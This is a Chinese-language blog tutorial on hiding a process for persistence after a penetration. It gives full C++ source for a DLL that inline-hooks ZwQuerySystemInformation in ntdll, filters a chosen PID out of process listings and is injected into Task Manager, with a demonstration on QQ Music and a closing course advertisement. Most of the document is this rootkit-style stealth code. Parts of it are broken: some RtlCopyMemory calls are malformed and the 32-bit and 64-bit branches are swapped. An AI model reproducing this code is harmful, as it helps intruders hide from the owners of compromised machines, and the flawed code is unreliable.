巧用進程隱藏進行權限維持
基礎知識
進程(Process)是計算機中的程序關于某數據集合上的一次運行活動,是系統進行資源分配和調度的基本單位,是操作系統結構的基礎。在早期面向進程設計的計算機結構中,進程是程序的基本執行實體;在當代面向線程設計的計算機結構中,進程是線程的容器。程序是指令、數據及其組織形式的描述,進程是程序的實體。
我們在計算機上的每個程序運行起來之后都可以被稱作進程,進程可以在任務管理器里面看見,如下所示

那么我們在進行滲透的過程中,如果我們運行了一些本沒有運行的進程,我們想要達到不被對方發現的效果,其中一個方法就是實現進程隱藏,讓對方在任務管理器里面看不到這個進程,當然這里只針對的是不被小白發現,專業的人員不在這個討論范圍內。
那么實現進程隱藏可以通過HOOK api的方式實現,我們知道一般我們要獲取進程快照都是使用CreateToolHelp32Snapshot這個api,而這個api在內核層最終會調用ZwQuerySystemInformation這個api來獲取系統進程信息,那么我們就可以直接去hook內核的這個api,因為最終還是調用內核的這個api,從而實現進程隱藏
實現過程
那么這里需要一些基礎知識,hook api的實現最終還是要歸結到Inline HOOK,通過修改api的前幾個字節的數據,寫入一個E9(jump)到我們自己的函數中執行
簡單介紹一下Inline hook,API函數都保存在操作系統提供的DLL文件中,當在程序中使用某個API函數時,在運行程序后,程序會隱式地將API所在的DLL加載入進程中。這樣,程序就會像調用自己的函數一樣調用API。
在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。
CreateFile()是API函數,API函數也是由人編寫的代碼再編譯而成的,也有其對應的二進制代碼。既然是代碼,那么就可以被修改。通過一種“野蠻”的方法來直接修改API函數在內存中的映像,從而對API函數進行HOOK。使用的方法是,直接使用匯編指令的jmp指令將其代碼執行流程改變,進而執行我們的代碼,這樣就使原來的函數的流程改變了。執行完我們的流程以后,可以選擇性地執行原來的函數,也可以不繼續執行原來的函數。
假設要對某進程的kernel32.dll的CreateFile()函數進行HOOK,首先需要在指定進程中的內存中找到CreateFile()函數的地址,然后修改CreateFile()函數的首地址的代碼為jmp MyProc的指令。這樣,當指定的進程調用CreateFile()函數時,就會首先跳轉到我們的函數當中去執行流程,這樣就完成了我們的HOOK了。
那么既然有了IAThook,我們為什么還要用Inlinehook呢,直接用IAThook不是更方便嗎?看硬編碼多麻煩。
我們思考一個問題,如果函數不是以LoadLibrary方式加載,那么肯定在導入表里就不會出現,那么IAThook就不能使用了,這就是Inlinehook誕生的條件。
硬編碼
何為硬編碼?
這里我就不生搬概念性的東西來解釋了,說說我自己的理解。硬編碼可以說就是用十六進制的字符組成的,他是給cpu讀的語言,我們知道在計算機里面只有0和1,如果你要讓他去讀c語言的那些字符他是讀不懂的,他只會讀0和1,這就是硬編碼。
硬編碼的結構如下,有定長指令、變長指令等等一系列指令,還跟各種寄存器相關聯起來,確實如果我們去讀硬編碼的話太痛苦了

這里就不過多延伸了,我們在Inline hook里面只會用到一個硬編碼就是E9,對應的匯編代碼就是jmp
這里我就直接通過Inline hook來實現進程隱藏,首先我們要明確思路,首先我們要獲取到ZwQuerySystemInformation這個函數的地址,首先看一下這個函數的結構
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
那么我們首先獲取ntdll.dll的基址,這里可以使用GetModuleHandle,也可以使用LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
然后使用GetProcAddress獲取ZwQuerySystemInformation的函數地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
獲取到函數地址之后我們就需要進行hook操作,這里注意一下,在32位中跳轉的語句應該為jmp New_ZwQuerySystemInformation,對應的硬編碼就是E9 xx xx xx xx,那么在32位的情況下我們要執行跳轉就需要修改5個字節的硬編碼,而在64位中跳轉的語句應該為mov rax, 0x1234567812345678、jmp rax,對應的硬編碼就是48 b8 7856341278563412、ff e0,需要修改12個字節
在32位的情況下,修改5個字節
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
計算偏移地址,計算公式為新地址 - 舊地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因為我們要覆蓋前5個字節那么我們首先把前5個字節放到其他地方保存
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
64位的情況下同理,只是修改字節為12個字節
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
然后修改權限為可讀可寫可執行權限,否則會報錯0xC0000005
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬編碼,再還原屬性
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
到這里我們的hook函數就已經完成得差不多了,再寫一個unhook函數,思路大體相同,代碼如下
void UnHookAPI(){ //獲取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); }
// 獲取 ZwQuerySystemInformation 函數地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); }
// 修改為可讀可寫可執行權限 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32位下還原5字節,64位下還原12字節
#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif // 還原權限 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
當我們執行完hook函數之后,需要跳轉到我們自己的函數,在我們自己的函數里面,在我們自己的函數里面需要判斷是否檢索系統的進程信息,如果進程信息存在我們就需要將進程信息剔除
那么我們首先將鉤子卸載掉,防止多次同時訪問hook函數而造成數據混亂
UnHookAPI();
然后加載ntdll.dll
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
再獲取ZwQuerySystemInformation的基址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
這里看一下ZwQuerySystemInformation這個函數結構
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
主要要關注的有兩個參數,第一個參數是SystemInformationClass,他是用來表示要檢索的系統信息的類型,再就是返回值,當函數執行成功則返回NTSTATUS,否則返回錯誤代碼,那么我們首先要判斷消息類型是否是進程信息
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass)
這里我們定義一個指針指向返回結果信息的緩沖區
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判斷如果是我們想要隱藏進程的PID則刪除進程信息
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
刪除完成之后我們再還原hook
HookAPI();
我們要實現的功能不只是在自己的進程空間內隱藏指定進程,那么我們就可以把代碼寫成dll文件方便注入,完整代碼如下
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include <iostream>#include <Winternl.h>
HMODULE g_hModule;BYTE g_Oldwin32[5] = { 0 };BYTE g_Oldwin64[12] = { 0 };
#pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")
NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
void HookAPI();void UnHookAPI();
void HookAPI(){
//獲取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif // 獲取 ZwQuerySystemInformation 函數地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); }
// 32位則修改前5字節,64位則修改前12字節
#ifdef _WIN64 // jmp New_ZwQuerySystemInformation // E9 xx xx xx xx
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
// 計算偏移地址 , 偏移地址 = 新地址 - 舊地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#else // mov rax, 0x1234567812345678 // jmp rax // 48 b8 7856341278563412 // ff e0
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#endif DWORD dwOldProtect = 0;
//修改為可讀可寫可執行權限 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
//還原權限 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
void UnHookAPI(){ //獲取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL) { printf("[!] GetModuleHandle false,error is: %d", GetLastError()); return; } else { printf("[*] GetModuleHandle successfully!\n\n"); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif
// 獲取 ZwQuerySystemInformation 函數地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); }
// 修改為可讀可寫可執行權限 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32位下還原5字節,64位下還原12字節
#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif
// 還原權限 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL; PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
// 隱藏進程的PID DWORD HideProcessID = 13972;
// 卸載鉤子 UnHookAPI();
HMODULE hDll = ::LoadLibraryA("ntdll.dll"); if (hDll == NULL) { printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError()); return status; } else { printf("[*] LoadLibraryA successfully!\n\n"); }
#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif
// 獲取 ZwQuerySystemInformation 函數地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation) { printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError()); return status; } else { printf("[*] ZwQuerySystemInformation successfully!\n\n"); }
// 調用原函數 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) { // 若為隱藏的進程PID則刪除進程信息 if (HideProcessID == (DWORD)pCur->UniqueProcessId) { if (pCur->NextEntryOffset == 0) { pPrev->NextEntryOffset = 0; }
else { pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; } }
else { pPrev = pCur; }
if (pCur->NextEntryOffset == 0) { break; }
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); } }
HookAPI();
return status;}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HookAPI(); g_hModule = hModule; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: UnHookAPI(); break; } return TRUE;}
實現效果
這里可以通過全局鉤子注入或者遠程線程注入把dll注入到其他進程里面,那么如果我們想要在任務管理器里面看不到某個進程,那么就需要將dll注入到任務管理器里面

我這里選擇隱藏的是QQ音樂,這里運行下程序將dll注入

再看下效果,在任務管理器里面已經看不到QQ音樂這個進程了,進程隱藏成功

推薦實操:黑客攻防之木馬揭秘
PC端體驗地址:http://mrw.so/6tuBOy
本課程重點剖析木馬技術,揭露黑客木馬技術內幕,為更好防范木馬提供有效
的策略和技術支持。本課程從整體入手,先講解木馬程序的整體框架雛形,然后逐步深入分析木馬常用的隱藏技術、管道技術、反彈技術、rootkit、鉤子技術及遠程注入技術等等.